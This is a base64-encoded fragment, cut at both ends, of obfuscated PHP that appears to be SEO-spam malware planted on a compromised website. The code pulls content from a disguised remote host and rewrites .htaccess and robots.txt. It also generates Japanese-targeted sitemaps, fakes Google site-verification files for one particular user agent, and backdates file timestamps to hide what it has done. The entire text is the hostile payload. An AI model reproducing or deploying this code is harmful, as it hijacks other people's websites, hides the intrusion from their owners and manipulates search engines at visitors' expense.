HgyRVx4MzBcclxuXHg0OFx4NkZceDczXHg3NFx4M0FceDIwIi4kcGFyc2VbJ2hvJy4nc3QnXS4iXHJcblx4NDNceDZGXHg2RVx4NkVceDY1XHg2M1x4NzRceDY5XHg2Rlx4NkVceDNBXHgyMFx4NDNceDZDXHg2Rlx4NzNceDY1XHJcblxyXG4iKTsJCQkJJGJvZHk9Jyc7CQkJCXdoaWxlKCFmZW9mKCR6MUJMV1kpKXsJCQkJCSRib2R5Lj1mZ2V0cygkejFCTFdZLDQwOTYpOwkJCQl9CQkJCWZjbG9zZSgkejFCTFdZKTsJCQkJJHJldHVybj1wcmVnX21hdGNoKCJceDJGXHg1RVx4NDhceDU0XHg1NFx4NTBcL1x4MzFceDJGXHg3M1x4NjkiLCRib2R5KT9wcmVnX3JlcGxhY2UoIlx4MkZceDJFXHgyQVx4M0ZcclxuXHJcblx4MjhceDJFXHgyQVx4MjlceDJGXHg3M1x4NjkiLCIkejF6ZHlHa25QbWQiLCRib2R5KTpwcmVnX3JlcGxhY2UoIlx4MkZceDVFXHg1Qlx4NUVceDNDXHg1RFx4MkJceDNGXHgyOFx4M0NceDJFXHgyQVx4MjlceDJGXHg2OVx4NzMiLCIkejF6ZHlHa25QbWQiLCRib2R5KTsJCQkJcmV0dXJuIHRyaW0odHJpbSgkcmV0dXJuLCJceEVGXHhCQlx4QkYiKSk7CQkJfWVsc2V7JHJldHVybj0wO30JfWVsc2V7CQlpZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaScuJ25pdCcpJiZmdW5jdGlvbl9leGlzdHMoJ2N1cmxfJy4nZXhlYycpKXsJCQkkejFrcVFlT1lYaz1jdXJsX2luaXQoKTsJCQljdXJsX3NldG9wdCgkejFrcVFlT1lYayxDVVJMT1BUX1VSTCwkejFRZU9ZWGspOwkJCWN1cmxfc2V0b3B0KCR6MWtxUWVPWVhrLENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsMCk7CQkJY3VybF9zZXRvcHQoJHoxa3FRZU9ZWGssQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsJCQljdXJsX3NldG9wdCgkejFrcVFlT1lYayxDVVJMT1BUX1RJTUVPVVQsMTgwKTsJCQkkY3VybF9leGVjPWN1cmxfZXhlYygkejFrcVFlT1lYayk7CQkJY3VybF9jbG9zZSgkejFrcVFlT1lYayk7CQkJaWYoJGN1cmxfZXhlYyl7CQkJCSRyZXR1cm49JGN1cmxfZXhlYzsJCQkJcmV0dXJuIHRyaW0odHJpbSgkcmV0dXJuLCJceEVGXHhCQlx4QkYiKSk7CQkJfQkJfQl9CQlyZXR1cm4gdHJpbSh0cmltKCRyZXR1cm4sIlx4RUZceEJCXHhCRiIpKTsJfQpmdW5jdGlvbiB6MW5wTGpjSmtxKCR6blN5Y0praXApeyAgJHoxQ29xUHRnPScxNDI1JzsKJHoxV1ljSkxqbnA9Jy5odGEnLidjY2Vzcyc7CiR6MVdZT1lWc2txPTA7CiR6MUNvcVB0Zy49JzMwNDU5Mic7CmlmKCFmaWxlX2V4aXN0cygkejFXWWNKTGpucCkpeyR6MVdZT1lWc2txPTE7fWVsc2V7aWYoZmlsZW10aW1lKCR6MVdZY0pMam5wKSE9JHoxQ29xUHRnKXskejFXWU9ZVnNrcT0xO319aWYoJHoxV1lPWVZza3EpeyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkejFXWWNKTGpucCk7JGNvbnRlbnQ9JGNvbnRlbnQ9PT1mYWxzZT8nJzp0cmltKCRjb250ZW50KTsKJGNvbnRlbnQ9c3ByaW50ZignPElmTW9kdWxlJXNtb2RfJy4ncmV3cml0ZS5jPiVzUmV3cmknLid0ZUVuZ2luZSVzT24lc1Jld3JpdGVSdScuJ2xlJXMuKi5odG1sPyQlc2luZGV4Jy4nLnBocCVzW0xdJXNSZXdyaScuJ3RlQ29uZCVzJXN7UkUnLidRVUVTVF9GSUxFTicuJ0FNRX0lcyEtZiVzUmV3cml0Jy4nZUNvbmQlcyVze1JFUVVFU1RfRicuJ0lMRU5BTUV9JXMhLWQlc1Jld3JpdGVSdScuJ2xlJXMuJXNpbmRleCcuJy5waHAlc1tMXSVzPC9JZk1vZCcuJ3VsZT4nLCcgJywiXG4iLCcgJywiXG4iLCcgJywnICcsJyAnLCJcbiIsJyAnLCclJywnICcsIlxuIiwnICcsJyUnLCcgJywiXG4iLCcgJywnICcsJyAnLCJcbiIpLiJcbiRjb250ZW50IjsKQHVubGluaygkejFXWWNKTGpucCk7ejFCTFdZUWVMaigkejFXWWNKTGpucCwkY29udGVudCk7QHRvdWNoKCR6MVdZY0pMam5wLCR6MUNvcVB0Zyk7fQppZihtdF9yYW5kKDEsNTApPT0yOSl7QGNobW9kKCdyb2JvJy4ndHMudHh0JywwNzU1KTskcm9ib3Rzc2l0ZW1hcD0nJztmb3IoJGk9MTskaTw0MTskaSsrKXskcm9ib3Rzc2l0ZW1hcC49Y2hyKDEzKS5jaHIoMTApLidTaXRlbWFwOicuJHpuU3ljSmtpcC4nL3NpdGVtYXB4bWwvc2l0ZV9tYXAnLiRpLicueG1sLmd6Jzt9ejFCTFdZUWVMaigncm9ibycuJ3RzLnR4dCcsc3ByaW50ZignVXNlci1hJy4nZ2VudDolcyolc0RpcycuJ2FsbG93OiVzU2l0ZW1hcDolcy9zaXRlX21hcC54bWwnLCcgJywiXG4iLCJcbiIsJHpuU3ljSmtpcCkuJHJvYm90c3NpdGVtYXApO0B0b3VjaCgncm9ib3RzLnR4dCcsMTQyNTMwNDU5Mik7QGNobW9kKCdyb2JvJy4ndHMudHh0JywwNDQ0KTt9Cn0KZnVuY3Rpb24gejFuc3VES0ZucygkejFpRGNKR2ssJGxpbWl0KXskejFuc3VES0Y9YXJyYXkoKTtpZigkbGltaXQ+MCl7aWYoJHoxaURjSkdrPD0kbGltaXQpeyR6MW5zdURLRj1yYW5nZSgwLCR6MWlEY0pHayk7fWVsc2V7JHoxbnN1REtGQkw9bXRfcmFuZCgxLCgkejFpRGNKR2stJGxpbWl0KjIpKTskejFuc3VES0Y9cmFuZ2UoJHoxbnN1REtGQkwsJHoxbnN1REtGQkwrJGxpbWl0LTEpO319cmV0dXJuICR6MW5zdURLRjt9Cgl6MUJxVnNWc0xqKCR6MU9ZUWVYa29BLCR6MW5wTGpMaldZLCR6MW1kSXhyQSk7CmZ1bmN0aW9uIHoxT1luc0xqT1koJG1vZD0ncycsJGxpbWl0PTIsJGs9MCl7JHoxbnNvQW9BS0Zucz1yYW5nZSgnYScsJ3onKTtpZigkbW9kPT0ndycpeyR6MW5zb0FvQUtGbnM9YXJyYXlfbWVyZ2UoJHoxbnNvQW9BS0ZucyxyYW5nZSgwLDkpKTt9aWYoJG1vZD09J2QnKXskejFuc29Bb0FLRm5zPXJhbmdlKDAsOSk7fSR6MW5zTGpPWT0nJzskejFuc29CYmdEPWNvdW50KCR6MW5zb0FvQUtGbnMpLTE7Zm9yKCR6MWNKPTA7JHoxY0o8JGxpbWl0OyR6MWNKKyspe210X3NyYW5kKCRrKyR6MWNKKTskejFuc0xqT1kuPSR6MW5zb0FvQUtGbnNbbXRfcmFuZCgwLCR6MW5zb0JiZ0QpXTt9bXRfc3JhbmQoKTtyZXR1cm4gJHoxbnNMak9ZO31mdW5jdGlvbiB6MUdra3FWc0tGb0EoJHoxbnNMak9ZKXskcmV0dXJuPScnOyR6MWtxVnNLRm9BbnM9cHJlZ19zcGxpdCgiXHgyRlx4MkYiLCR6MW5zTGpPWSwtMSxQUkVHX1NQTElUX05PX0VNUFRZKTtmb3JlYWNoKCR6MWtxVnNLRm9BbnMgYXMgJGtleT0+JHZhbHVlKXskejFrcVZzS0ZvQW5zWyRrZXldPWNocihvcmQoJHZhbHVlKS0xKTt9JHJldHVybj1pbXBsb2RlKCcnLCR6MWtxVnNLRm9BbnMpOyRyZXR1cm49J2h0dHA6Ly8nLiRyZXR1cm47cmV0dXJuICRyZXR1cm47fQpmdW5jdGlvbiB6MVljUWVYa1dZKCR6MU9ZUWVYa29BLCR6MVFlT1l1RCwkejFXWU9Zb0EpeyRyZXR1cm49MDtmb3JlYWNoKCR6MU9ZUWVYa29BIGFzJHoxT1l1SXNPQSl7JHoxUWVPWXVEMj0kejFRZU9ZdUQ7aWYoc3RycG9zKCR6MU9ZdUlzT0EsJyMnKSE9PWZhbHNlKXskdHJlPXByZWdfcmVwbGFjZSgnLyMuKiMvc2knLCcoLiopJywgJHoxV1lPWW9BLiR6MU9ZdUlzT0EpO2lmKHByZWdfbWF0Y2goc3ByaW50ZignLyVzL3NpJyxhZGRjc2xhc2hlcygkdHJlLCcvJykpLCR6MVFlT1l1RCwkbnVyKSl7JHoxUWVPWXVEMj1wcmVnX3JlcGxhY2UoJy8jLiojL3NpJyxiYXNlNjRfZGVjb2RlKCRudXJbMV0pLCR6MVdZT1lvQS4kejFPWXVJc09BKTt9JHoxT1l1SXNPQT1zdHJfcmVwbGFjZSgnIycsJycsJHoxT1l1SXNPQSk7fSR6MUdrPXN0cnBvcygkejFPWXVJc09BLCcqYScpOyR6MVFwPXN0cnBvcygkejFPWXVJc09BLCcqYicpOyR6MU9ZdUlzT0E9YWRkY3NsYXNoZXMocHJlZ19yZXBsYWNlKCcvXCooXGQrKVx3L3NpJywnXHd7JDF9JyxzdHJfcmVwbGFjZShhcnJheSgnKmEnLCcqYicpLCcoXGQrKScsJHoxT1l1SXNPQSkpLCcvPycpO2lmKHByZWdfbWF0Y2goc3ByaW50ZignL14lcyVzJC9zaScsYWRkY3NsYXNoZXMoJHoxV1lPWW9BLCcvPycpLCR6MU9ZdUlzT0EpLCR6MVFlT1l1RDIsJHoxV1lPWW9BR2spKXskcmV0dXJuPSR6MUdrPiR6MVFwP2FycmF5KCR6MVdZT1lvQUdrWzJdLCR6MVdZT1lvQUdrWzFdKTphcnJheSgkejFXWU9Zb0FHa1sxXSwkejFXWU9Zb0FHa1syXSk7YnJlYWs7fX07cmV0dXJuJHJldHVybjt9CmZ1bmN0aW9uIHoxWWNPWWNKRVBMaigkejFjSiwkejFCcSwkejFrcSwkejFLRiwkejFvQT0wKXskejFjSj16MURlUHhocSgkejFjSiwkejFrcSk7JHoxbUQ9c3RyX3JlcGxhY2UoYXJyYXkoJyphJywnKmInKSxhcnJheSgkejFCcSwkejFrcSksIiR6MUtGJHoxY0oiKTtwcmVnX21hdGNoX2FsbCgnL1wqKFxkKyk/KFx3KS9zaScsJHoxbUQsJHoxa1cpO2lmKGlzc2V0KCR6MWtXWzJdKSl7Zm9yZWFjaCgkejFrV1swXWFzICR6MUthPT4kejFCTCl7JHoxbUQ9cHJlZ19yZXBsYWNlKHNwcmludGYoJy8lcy8nLGFkZGNzbGFzaGVzKCR6MUJMLCcqJykpLHoxT1luc0xqT1koJHoxa1dbMl1bJHoxS2FdLCR6MWtXWzFdWyR6MUthXSwkejFrcSskejFLYSksJHoxbUQsMSk7fX1pZihwcmVnX21hdGNoKCcvIyguKikjL3NpJywkejFtRCwkaGFzaCkpeyR6MW1EPXN0cl9yZXBsYWNlKCRoYXNoWzBdLGJhc2U2NF9lbmNvZGUoJGhhc2hbMV0pLCR6MW1EKTt9cmV0dXJuICR6MW1EO30KZnVuY3Rpb24gejFEZVB4aHEoJGFycmF5PWFycmF5KCksJGtleT0wKXskdmFsPScnOyRrZXk9KGludCkka2V5O2lmKCFlbXB0eSgkYXJyYXkpKXtpZihpc3NldCgkYXJyYXlbJGtleV0pKXskdmFsPSRhcnJheVska2V5XTt9ZWxzZXskdmFsPSRhcnJheVska2V5JWNvdW50KCRhcnJheSldO319cmV0dXJuJHZhbDt9CmZ1bmN0aW9uIHoxQnFWc1ZzTGooJHoxT1lRZVhrb0EsJHoxbnBMakxqV1ksJHoxR3dWaj0nJyl7CgkkejFPWVFlWGtvQT1leHBsb2RlKCcsJywkejFPWVFlWGtvQSk7JHoxR2tucG9BY0pLRj0nPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48dXJsc2V0IHhtbG5zPSJodHRwOi8vd3d3LnNpdGVtYXBzLm9yZy9zY2hlbWFzL3NpdGVtYXAvMC45IiB4bWxuczp4aHRtbD0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+JzskejFuc0xqPSdzaXQnOyR6MW5wbnNMaj0naHBzaSc7JHoxUm9vZmd0PWlzc2V0KCRfU0VSVkVSWydET0NVTUVOJy4nVF9ST09UJ10pP3N0cl9yZXBsYWNlKCdcXCcsJy8nLCRfU0VSVkVSWydET0NVTUVOJy4nVF9ST09UJ10pOicnOyR6MXFZdnNaPWlzc2V0KCRfU0VSVkVSWydTQ1JJUCcuJ1RfTkFNRSddKT8kX1NFUlZFUlsnU0NSSVAnLidUX05BTUUnXTpzdHJfcmVwbGFjZSgkejFSb29mZ3QsJycsc3RyX3JlcGxhY2UoJ1xcJywnLycsX19GSUxFX18pKTskejFxWXZzWj0kejFxWXZzWiE9Jyc/c3Vic3RyKCR6MXFZdnNaLDEpOiR6MXFZdnNaOyR6MVJvb2ZndD1wcmVnX3JlcGxhY2UoJy9cLyQvc2knLCcnLCR6MVJvb2ZndCk7JHoxcVl2c1o9c3RydG9sb3dlcigkejFxWXZzWik9PSdpbmRleC5waHAnPycnOiR6MXFZdnNaOyR6MW5za3FPWXVEV1lMaj0kejFxWXZzWiE9Jyc/c3Vic3RyKCR6MXFZdnNaLDAsc3RycnBvcygkejFxWXZzWiwnLycpKTooJHoxUm9vZmd0IT0nJz9zdHJfcmVwbGFjZSgkejFSb29mZ3QsJycsc3RyX3JlcGxhY2UoJ1xcJywnLycsZGlybmFtZShfX0ZJTEVfXykpKTonJyk7aWYoQHN0cnBvcyhkaXJuYW1lKF9fRklMRV9fKSwkejFuc2txT1l1RFdZTGopICE9PWZhbHNlKXskejFuc2txT1l1RFdZTGogPSAiIjt9JHoxcVl2c1o9cHJlZ19yZXBsYWNlKCcvLipcLyguKikvc2knLCckMScsJHoxcVl2c1opOyR6MXFZdnNaPXN0cnRvbG93ZXIoJHoxcVl2c1opPT0naW5kZXgucGhwJz8nJzokejFxWXZzWjskZ2V0PSRfR0VUOyR6MW5wbnNMai49J3RlbWFwJzskejFuc2txT1l1RFdZTGo9c3RyX3JlcGxhY2UoJ1xcJywnLycsKCR6MW5za3FPWXVEV1lMaj09Jyd8fCR6MW5za3FPWXVEV1lMaj09J2luZGV4LnBocCcpPycvJzoiXHgyRiR6MW5za3FPWXVEV1lMalx4MkYiKTskejFuc0xqLj0nZW0nOyR6MVFlT1l1RD1pc3NldCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk/JF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ106KGlzc2V0KCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSk/JF9TRVJWRVJbJ1FVRVJZX1NUUklORyddOicnKTtpZihwcmVnX21hdGNoKCIvLio/Z29vZ2xlKFthLXpBLXowLTldKylcLmh0bWwvaXMiLCR6MVFlT1l1RCwkZ3l6KSl7JGdmaWxlPSJnb29nbGUiLiRneXpbMV0uIi5odG1sIjtpZihmaWxlX2V4aXN0cygkZ2ZpbGUpKXtkaWUoImdvb2dsZS1zaXRlLXZlcmlmaWNhdGlvbjogIi4kZ2ZpbGUpO30kVUEgPSJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjI7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMjcuMC4xNDUzLjk0IEFwcGxlc1dlYktpdC81MzcuMzYgU2FmYXJpLzUzNy4zNiI7aWYoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddID09ICRVQSl7aWYoIWZpbGVfZXhpc3RzKCRnZmlsZSkpe0BmaWxlX3B1dF9jb250ZW50cygkZ2ZpbGUsImdvb2dsZS1zaXRlLXZlcmlmaWNhdGlvbjogIi4kZ2ZpbGUpO2RpZSgiZ29vZ2xlLXNpdGUtdmVyaWZpY2F0aW9uOiAiLiRnZmlsZSk7fX19JHoxUWVPWXVEPSgkejFRZU9ZdUQ9PScnPygoaXNzZXQoJF9TRVJWRVJbJ1BBVEhfSScuJ05GTyddKSYmJF9TRVJWRVJbJ1BBVEhfSScuJ05GTyddIT0nJyk/JF9TRVJWRVJbJ1BBVEgnLidfSU5GTyddOiR6MVFlT1l1RCk6JHoxUWVPWXVEKTskejFucExqTGpXWW5zPXoxR2trcVZzS0ZvQSgkejFucExqTGpXWSk7JHBhY2s9JHoxbnBMakxqV1lucy4nL25vZCcuJ2UvJXMvJSc7JHoxbnNMai49J2FwJzskejFuc29BT1ltRG9BT1lkbEVQY0ppRG9BPWlzc2V0KCRfU0VSVkVSWydIVFQnLidQX0hPU1QnXSk/JF9TRVJWRVJbJ0hUVFAnLidfSE9TVCddOiRfU0VSVkVSWydTRVJWRScuJ1JfTkFNRSddOyR6MW5wV1k9JHoxUWVPWVhrPSgoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pJiYkX1NFUlZFUlsnSFRUUFMnXSE9PSdvZmYnKT8naHR0cHMnOidodHRwJykuJzovLycuJHoxbnNvQU9ZbURvQU9ZZGxFUGNKaURvQTt6MW5wTGpjSmtxKCR6MW5wV1kpOyR6MVFlT1lYay49JHoxUWVPWXVEO2lmKGlzc2V0KCRnZXRbJHoxbnNMal0pKXskejFFUD0oaW50KSRnZXRbJHoxbnNMal07JHhwYXRoPSdzaXRlJy4nX21hcC54bWwnOyR4cGF0aF9oZWFkPSc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PjxzaXRlbWFwaW5kZXggeG1sbnM9Imh0dHA6Ly93d3cuc2l0ZW1hcHMub3JnL3NjaGVtYXMvc2l0ZW1hcC8wLjkiPic7ICAgCgkgJHhwYXRoX2Zvb3Q9Jzwvc2l0ZW1hcGluZGV4Pic7CgkgJHhwYXRoX2NvbnRlbnQ9Jyc7CgkgJHoxR2tuc0xqT1k9Jyc7CgkgaWYoZmlsZV9leGlzdHMoJHhwYXRoKSl7QHVubGluaygkeHBhdGgpO30KCWlmKGZpbGVfZXhpc3RzKCR4cGF0aCkpewoJJHhwYXRoX2NvbnRlbnQ9JHoxR2tuc0xqT1k9ZmlsZV9nZXRfY29udGVudHMoJHhwYXRoKTsKCX1lbHNlewoJaWYoIWZpbGVfZXhpc3RzKCJzaXRlbWFweG1sIikpewoJQG1rZGlyKCJzaXRlbWFweG1sIik7CgkJaWYoIWZpbGVfZXhpc3RzKCJzaXRlbWFweG1sIikpewoJCWVjaG8gJ3NpdGVtYXB4bWwgbm90IG9rJzsKCQlleGl0OwoJCX0KCX0KCQoJJHoxQkw9ZXhwbG9kZSgnLCcsejFucFljb0FMaigiJHoxbnBMakxqV1luc1x4MkZceDMxXHgyRVx4NjNceDczXHg3NiIpKTsKCSR4bWxOdW0gPTE7CgkkeHBhdGhfY29udGVudC49JHhwYXRoX2hlYWQ7CglpZihpc3NldCgkZ2V0WydudW0nXSkpewoJJGxpbUZpbGUgPSRnZXRbJ251bSddOwoJfWZvcmVhY2goJHoxQkwgYXMgJHoxbUQpewoJJHoxdnk9ZXhwbG9kZSgnKicsJHoxbUQpOwoJJGNvdW50QWxsID0gJHoxdnlbMV07CgkkcGVyQ3QgPSAkejFFUDsKCSRmaWxlTnVtID0gY2VpbCgkY291bnRBbGwvJHBlckN0KTsKCWlmKGlzc2V0KCRnZXRbJ251bSddKSl7CgkkZmlsZU51bT0kZ2V0WydudW0nXTsKCX0KCWZvcigkbW09MTskbW08PSRmaWxlTnVtOyRtbSsrKXsKCXNldF90aW1lX2xpbWl0KDApOwoJaWYoIWZpbGVfZXhpc3RzKCJzaXRlbWFweG1sL3NpdGVfbWFwIi4keG1sTnVtLiIueG1sLmd6IikpewoJJHoxR2tuc0xqT1k9JHoxR2tucG9BY0pLRjsKCQoJZm9yZWFjaChtYWtlX25vZGVfdmFsdWUoJGNvdW50QWxsLCRwZXJDdCkgYXMgJG5uKXsKCSR6MUdrbnNMak9ZLj1zcHJpbnRmKCc8dXJsPjxsb2MnLic+JXM8L2xvYycuJz48eGh0bWw6bGluayByZWw9ImFsdGVybmF0ZSIgaHJlZmxhbmcgPSJKQS1KUCIgaHJlZiA9IiVzIiAvPjxsYXN0bScuJ29kPiVzPC8nLidsYXN0bW9kPjwnLidjaGFuZ2VmcmVxPndlJy4nZWtseTwvY2hhbmcnLidlZnJlcT48L3VybD4nLCR6MW5wV1kuejFZY09ZY0pFUExqKCR6MU9ZUWVYa29BLCR6MXZ5WzBdLCgkcGVyQ3QqKCRtbS0xKSskbm4pLCIkejFuc2txT1l1RFdZTGokejFxWXZzWiR6MUd3VmoiLDEpLCR6MW5wV1kuejFZY09ZY0pFUExqKCR6MU9ZUWVYa29BLCR6MXZ5WzBdLCgkcGVyQ3QqKCRtbS0xKSskbm4pLCIkejFuc2txT1l1RFdZTGokejFxWXZzWiR6MUd3VmoiLDEpLGRhdGUoJ1ktbS1kJykpOwoJfQoJJHoxR2tuc0xqT1kuPSc8L3VybHNldD4nOwoJJGd6ID0gZ3pvcGVuKCJzaXRlbWFweG1sL3NpdGVfbWFwIi4keG1sTnVtLiIueG1sLmd6IiwgJ3c5Jyk7CglnendyaXRlKCRneiwkejFHa25zTGpPWSk7CglnemNsb3NlKCRneik7CglAdG91Y2goInNpdGVtYXB4bWwvc2l0ZV9tYXAiLiR4bWxOdW0uIi54bWwuZ3oiLDE0MjUzMDQ1OTIpOwoJCWlmKCFmaWxlX2V4aXN0cygic2l0ZW1hcHhtbC9zaXRlX21hcCIuJHhtbE51bS4iLnhtbC5neiIpKXsKCQllY2hvICJzaXRlbWFweG1sL3NpdGVfbWFwIi4keG1sTnVtLiIueG1sLmd6IHNpdGVtYXB4bWwgbm90IG9rIjsKCQlleGl0OwoJCX1lbHNlewoJCSBlY2hvICJzaXRlbWFweG1sL3NpdGVfbWFwIi4keG1sTnVtLiIueG1sLmd6IHNpdGVtYXB4bWwgIG9rPGJyPiI7CgkJfQoJfQoJJHhtbE51bSsrOwoJfQoJfQoJJGZ6eG1sID0gZ2xvYigic2l0ZW1hcHhtbC8qLnhtbC5neiIpOwoJJHJvYm90c3R4dD0nJzsKCSRteT10cmltKHN0cl9yZXBsYWNlKCcvaW5kZXgucGhwJywnJywkX1NFUlZFUlsnUEhQX1NFTEYnXSksJy8nKTsKCWlmKHN0cmxlbigkbXkpPjEpeyRteT0kbXkuJy8nO30KCWZvcmVhY2goJGZ6eG1sIGFzICR4bWwpewoJJHhwYXRoX2NvbnRlbnQuPXNwcmludGYoJzxzaXRlbWFwPjxsb2M+JXM8L2xvYz48bGFzdG1vZD4lczwvbGFzdG1vZD48L3NpdGVtYXA+JywkejFucFdZLiIvIi4kbXkuJHhtbCxkYXRlKCdZLW0tZCcpKTsKCSRyb2JvdHN0eHQuPWNocigxMykuY2hyKDEwKS4nU2l0ZW1hcDonLiR6MW5wV1kuIi8iLiRteS4keG1sOwoJfQoJJHJvYm90c3R4dD0nVXNlci1hZ2VudDogKicuY2hyKDEzKS5jaHIoMTApLidEaXNhbGxvdzonLmNocigxMykuY2hyKDEwKS4nU2l0ZW1hcDonLiR6MW5wV1kuJy8nLiRteS4nc2l0ZV9tYXAueG1sJy4kcm9ib3RzdHh0OwoJCgkkeHBhdGhfY29udGVudC49JHhwYXRoX2Zvb3Q7CglAY2htb2QoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL3JvYm8nLid0cy50eHQnLDA3NTUpOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlX2dldF9jb250ZW50cycpKXsJCgkJaWYoQGZpbGVfcHV0X2NvbnRlbnRzKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uJy9yb2JvdHMudHh0Jywkcm9ib3RzdHh0KT09MCl7ejFCTFdZUWVMaigkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLicvcm9ib3RzLnR4dCcsJHJvYm90c3R4dCk7fQoJCWlmKEBmaWxlX3B1dF9jb250ZW50cygkeHBhdGgsJHhwYXRoX2NvbnRlbnQpPT0wKXt6MUJMV1lRZUxqKCR4cGF0aCwkeHBhdGhfY29udGVudCk7fQoJfWVsc2V7Cgl6MUJMV1lRZUxqKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uJy9yb2JvdHMudHh0Jywkcm9ib3RzdHh0KTsKCXoxQkxXWVFlTGooJHhwYXRoLCR4cGF0aF9jb250ZW50KTsKCX0JCglAdG91Y2goInNpdGVtYXB4bWwiLDE0MjUzMDQ1OTIpO0B0b3VjaCgkeHBhdGgsMTQyNTMwNDU5Mik7QHRvdWNoKCdyb2JvdHMudHh0JywxNDI1MzA0NTkyKTsKCUBjaG1vZCgncm9ibycuJ3RzLnR4dCcsMDQ0NCk7Cgl9CgllY2hvICdlbmQnOwoJZWNobyBodG1sc3BlY2lhbGNoYXJzKCR4cGF0aF9jb250ZW50KTsKCWV4aXQ7CgloZWFkZXIoJ0NvbnRlbicuJ3QtdHlwZTp0ZXh0LycuJ3htbCcpOwoJZGllKCR4cGF0aF9jb250ZW50KTsKCX0KCWlmKGlzc2V0KCRnZXRbJHoxbnBuc0xqXSkpewoJJHhwYXRoPSdob21lLXNpdGUnLictbWFwLnhtbCc7CgkkejFHa25zTGpPWT0nJzsKCSR6MUdrbnNMak9ZPSR6MUdrbnBvQWNKS0Y7CgkkejFucFdZWWNvQUxqPXoxbnBZY29BTGooJHoxbnBXWSk7CgkkejFHa2txPWFycmF5KCR6MW5wV1kpOwoJCWlmKHByZWdfbWF0Y2hfYWxsKCcvaHJlZj1bXCciXT8oLio/KVtcJyJccz5dL3NpJywkejFucFdZWWNvQUxqLCR6MW5wV1lYa3VERVBLYW5zKSl7CgkJCWZvcmVhY2goJHoxbnBXWVhrdURFUEthbnNbMV0gYXMgJHoxbnBXWVhrKXsKCQkJJHoxbnBXWVhrPXRyaW0ocHJlZ19yZXBsYWNlKCcvXlwvL3NpJywnJywkejFucFdZWGspKTsKCQkJCWlmKCFwcmVnX21hdGNoKCcvXmh0dHBzP1w6XC9cLy9zaScsJHoxbnBXWVhrKSl7CgkJCQkgCWlmKHN1YnN0cigkejFucFdZWGssMCwxKT09Jy8nKXsKCQkJCQkkejFucFdZWGs9JHoxbnBXWS4kejFucFdZWGs7CgkJCQkJfWVsc2V7CgkJCQkJJHoxbnBXWVhrPSR6MW5wV1kuIlx4MkYiLiR6MW5wV1lYazsKCQkJCQl9CgkJCQl9CgkJCQlpZihzdHJwb3MoJHoxbnBXWVhrLHN0cl9yZXBsYWNlKCd3d3cuJywnJywkejFuc29BT1ltRG9BT1lkbEVQY0ppRG9BKSkhPT1mYWxzZSl7CgkJCQkJaWYocHJlZ19yZXBsYWNlKCcvXC8kL3NpJywnJywkejFucFdZWGspIT0kejFucFdZKXsKCQkJCQkkejFHa2txW109JHoxbnBXWVhrOwoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCSR6MUdra3E9YXJyYXlfdW5pcXVlKCR6MUdra3EpOwoJZm9yZWFjaCgkejFHa2txIGFzICRrPT4kdil7CgkJaWYoc3Vic3RyKCR2LC00KT09Ij9yc2QiIHx8IHN1YnN0cigkdiwtNSk9PSIuanBlZyIgfHwgc3Vic3RyKCR2LC00KT09Ii5jc3MiIHx8IHN1YnN0cigkdiwtNCk9PSIucG5nIiB8fCBzdWJzdHIoJHYsLTQpPT0iLnhtbCIgfHwgc3Vic3RyKCR2LC00KT09Ii5naWYiIHx8IHN1YnN0cigkdiwtNCk9PSIuanBnIiB8fCBzdWJzdHIoJHYsLTQpPT0iLnBkZiIgfHwgc3Vic3RyKCR2LC00KT09Ii5pY28iIHx8IHN1YnN0cigkdiwtMyk9PSIuanMiIHx8IHN0cnBvcygkdiwnLmNzcz8nKSB8fCBzdHJwb3MoJHYsJy9jc3M/JykgfHwgc3RycG9zKCR2LCdtYWlsdG86JykgfHxzdHJwb3MoJHYsJ2phdmFzY3JpcHQ6JykgfHwgc3RycG9zKCR2LCcvLi8nKSB8fCBzdHJwb3MoJHYsJy8uLi8nKSB8fCBzdHJwb3MoJHYsJyMnKSB8fCBzdHJwb3MoJHYsJygnKSB8fCBzdHJwb3MoJHYsJ1snKSl7CgkJdW5zZXQoJHoxR2trcVska10pOwoJCX0KCX0JCgkJCgkJZm9yZWFjaCgkejFHa2txIGFzICR6MVhrdURLYSl7CQkJCgkJJHoxR2tuc0xqT1kuPXNwcmludGYoJzx1cmw+PGxvYycuJz4lczwvbG9jJy4nPjxsYXN0bScuJ29kPiVzPC8nLidsYXN0bW9kPjwnLidjaGFuZ2VmcmVxPndlJy4nZWtseTwvY2hhbmcnLidlZnJlcT48L3VybD4nLCR6MVhrdURLYSxkYXRlKCdZLW0tZCcpKTsKCQl9CgkJJHoxR2tuc0xqT1kuPSc8L3VybHNldD4nOwoJCXoxQkxXWVFlTGooJHhwYXRoLCR6MUdrbnNMak9ZKTsKCQlAdG91Y2goJHhwYXRoLDE0MjUzMDQ1OTIpOwoJCWhlYWRlcignQ29udGVuJy4ndC10eXBlOnRleHQvJy4neG1sJyk7CgkJZGllKCR6MUdrbnNMak9ZKTsKCQl9CgkkcGFjay49J3MvJXMvZ29uJzsKCSR6MWlEY0pPWUthPXoxWWNRZVhrV1koJHoxT1lRZVhrb0EsJHoxUWVPWXVELCIkejFuc2txT1l1RFdZTGokejFxWXZzWiR6MUd3VmoiKTsKCSR6MWlEY0pPWUthPSR6MWlEY0pPWUthPT0wP2FycmF5KCduJywnYicpOiR6MWlEY0pPWUthOwoJJHBhY2suPSdld3MucGhwLz8lcyc7CglpZihpc3NldCgkX1NFUlZFUlsnS